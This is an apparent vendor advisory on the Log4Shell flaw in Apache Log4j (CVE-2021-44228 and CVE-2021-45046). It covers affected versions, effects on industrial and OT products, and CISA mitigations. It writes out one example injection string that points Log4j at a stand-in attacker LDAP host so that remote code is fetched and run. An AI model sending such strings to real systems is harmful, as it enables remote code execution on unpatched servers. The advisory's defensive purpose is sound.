What You Need to Know About the Log4j Zero-Day Vulnerability

The zero-day vulnerability uncovered in the popular open source Java-based Apache logging framework, Log4j, has sent security teams scrambling to mitigate the effects of this potentially devastating flaw.

Known as Log4Shell, the vulnerability (CVE-2021-44228) may be trivially abused by a threat actor using a specially crafted string to gain remote code execution on affected applications and services. It was assigned a CVSS score of 10.0. Apache has addressed the vulnerability in version 2.16.0, which has been available since Dec. 9. Log4j versions 2.14.1 and earlier are affected with varying degrees of severity, according to Apache.

In addition on Tuesday, a second vulnerability was discovered in Log4j version 2.15.0, CVE-2021-45046, that can enable denial-of-service attacks. According to Apache, the fix for CVE-2021-44228 was incomplete in certain non-default configurations. An attacker could use malicious input data using a JDNI lookup pattern to cause denial-of-service conditions. This second vulnerability was addressed in versions 2.12.2 and 2.16.0.

Organizations running products built with affected versions of Log4j should patch this vulnerability immediately. Proof-of-concept exploits have been shared online since news of the vulnerability broke late last week, and vendors including Cloudflare and Cisco have detected attacks since early December.

Given the ease of exploitation of this vulnerability, some early attacks have included the installation of crypt-mining software on vulnerable machines, or the botnets co-opting vulnerable computers. Ransomware attacks are not out of the question with this flaw, as are other code-injection attacks.

Here's the latest:

Why is Log4j Trivial to Exploit?

The vulnerability, which was found in Log4j versions 2.0-beta9 to 2.14.1 (version 1.x is no longer supported), affects a number of commercial and open source products used internet-wide, including Apache Struts, Elasticsearch, and VMware vCenter.

The vulnerability is trivial to exploit given the ease with which an attacker can inject a malicious string that would execute code from a remote server.

Java lookup mechanisms supported by Log4j include the Java Naming and Directory Interface (JNDI), DNS, and RMI, among others. Lookups check for the ${expression} syntax, find the value of the expression, and replace it.

An attacker can, via a HTTP request, inject a JNDI expression that will be logged and executed by Log4j. For example, if the log contains the ${expression} string, the lookup method will find and execute it. An attacker who is able to send their malicious request can force Log4j to download a malicious Java class from an attacker-controlled LDAP server, for example, and execute the malicious code from the attacker's site.

The malicious expression could look like this:

${jndi:ldap://evil.com/abc}

What's the Impact on SCADA, ICS and OT?

Log4j is the logging utility used in a large number of applications used in operational technology networks across industries. Industrial automation vendors have already begun patching their products and urging users to implement these updates, ramping up the urgency to fix this issue in a timely manner.

Prosys, for example, has already updated its OPC UA Simulation Server, Modbus Server, Historian, Browser, and Monitor products that were affected.

Siemens has also published an advisory that explains how Log4j affects its products, including Industrial Edge Management and more than a dozen other packages. Remediation information is also available.

Team82 has also worked to create a number of proof-of-concept exploits that vendor partners may use to test whether their products are vulnerable.

Dozens of other vendors have either published patches, mitigations, or lists of affected products. Some of these include internet giants such as Amazon, Cisco, IBM, Juniper Networks, Oracle, Splunk, and VMware, among others. Virtualization products from VMware, including the ESXi server have some OT applications that are impacted by Log4j; below, a Shodan search shows more than 95,000 ESXi installations online, while the second image shows a Team82 PoC triggering the vulnerability on VMware vCenter virtualization server.

Are Claroty Products Impacted by Log4j?

Claroty products do not use the Log4j package and are not impacted by this vulnerability.

What Should You Do?

CISA recommends that organizations apply patches for affected applications as they're available. You should expect that ICS automation vendors will release advisories about vulnerable products in the near future as they conduct their diligence.

Knowing that it may not to be possible to patch systems in OT environments quickly, for any unpatched system, version 2.10 and above, CISA recommends setting log4j2.formatMsgNoLookups to true by adding -Dlog4j2.formatMsgNoLookups=True to the Java Virtual Machine command.

If you're a Claroty CTD customer, Team82 has also made available to users a new Snort rule that detects exploits against web servers. If you're receiving automated threat bundle updates, you already have detections in place. If you're manually applying threat bundles, you should download and apply them as soon as possible.

"To be clear, this vulnerability poses a severe risk," said CISA Director Jen Easterly in a statement. "We will only minimize potential impacts through collaborative efforts between government and the private sector. We urge all organizations to join us in this essential effort and take action."